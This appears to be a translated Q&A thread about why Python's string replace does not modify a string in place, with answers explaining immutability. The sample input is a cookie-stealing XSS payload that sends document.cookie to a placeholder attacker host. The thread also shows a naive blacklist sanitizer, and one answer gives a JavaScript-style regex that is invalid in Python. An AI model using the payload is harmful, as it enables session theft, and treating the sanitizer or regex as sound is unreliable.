我正在尝试替换字符串中的一些关键字。这是我的功能:
def clean_code(input):
input.replace('<script>', " ")
input.replace('</script>', " ")
input.replace('<a href>', " ")
input.replace('</a>', " ")
input.replace('>', ">")
input.replace('>', "<")
return input
这是我的其他代码和字符串:
string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"
print '\nstring1 cleaned of code'
print '------------------------'
print clean_code(string1)
我的输出如下,我不确定为什么没有改变
string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
答案 0 :(得分:8)
Python字符串不可变:
input = input.replace('<script>', " ")
input = ...
返回字符串str 的副本,并将所有出现的substring old替换为new。
答案 1 :(得分:3)
.replace
不是就地突变
试试这个
def clean_code(input):
for tokens in [('<script>', " "),('</script>', " "),('<a href>', " "),
('</a>', " "),('>', ">"),('>', "<")]:
input = input.replace(tokens[0], tokens[1])
return input
答案 2 :(得分:3)
字符串在Python中是不可变的。 input.replace('</a>', " ")
不会改变input
。您需要将结果分配回input
。
但实际上你应该使用像 BeautifulSoup lxml这样的解析器。
答案 3 :(得分:1)
String.replace
返回一个替换结果的新字符串,但不会更改原始字符串。为此,您必须将返回值分配回变量,如下所示:
myString = myString.replace("foo", "bar")
此外,input.replace('<a href>', " ")
只会替换完全子字符串“&lt; a href&gt;”。要删除实际链接,请尝试input.replace(/<a\s[^>]*>/, " ")
。